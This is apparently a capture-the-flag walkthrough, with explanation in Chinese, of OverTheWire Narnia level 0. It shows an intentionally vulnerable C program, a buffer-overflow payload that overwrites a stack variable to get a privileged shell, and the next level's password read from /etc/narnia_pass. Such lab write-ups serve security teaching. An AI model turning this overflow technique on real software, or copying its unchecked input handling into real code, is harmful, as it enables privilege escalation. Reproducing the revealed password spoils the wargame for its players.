OverTheWire | (3) Narnia
https://overthewire.org/wargames/narnia/
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Level 0–>Level 1
#include <stdio.h>
#include <stdlib.h>
int main(){
long val=0x41414141;
char buf[20];
printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
printf("Here is your chance: ");
scanf("%24s",&buf);
printf("buf: %s\n",buf);
printf("val: 0x%08x\n",val);
if(val==0xdeadbeef){
setreuid(geteuid(),geteuid());
system("/bin/sh");
}
else {
printf("WAY OFF!!!!\n");
exit(1);
}
return 0;
}
可以看到，有一个大小为 20 的 buf，我们需要通过输入溢出 buf 来覆盖 val 的值。
我们首先做一个简单的尝试：
$ ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: AAAAAAAAAAAAAAAAAAAABCDE
buf: AAAAAAAAAAAAAAAAAAAABCDE
val: 0x45444342
WAY OFF!!!!
值得注意的是，val 的值为 0x45444342，即 EDCB。
/narnia$ python2 -c 'print "A"*20 + "\xef\xbe\xad\xde\x80"'
AAAAAAAAAAAAAAAAAAAAﾭހ
/narnia$ ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: AAAAAAAAAAAAAAAAAAAAﾭހ
buf: AAAAAAAAAAAAAAAAAAAAﾭ�
val: 0xdeadbeef
$ cat /etc/narnia_pass/narnia1
eaa6AjYMBB
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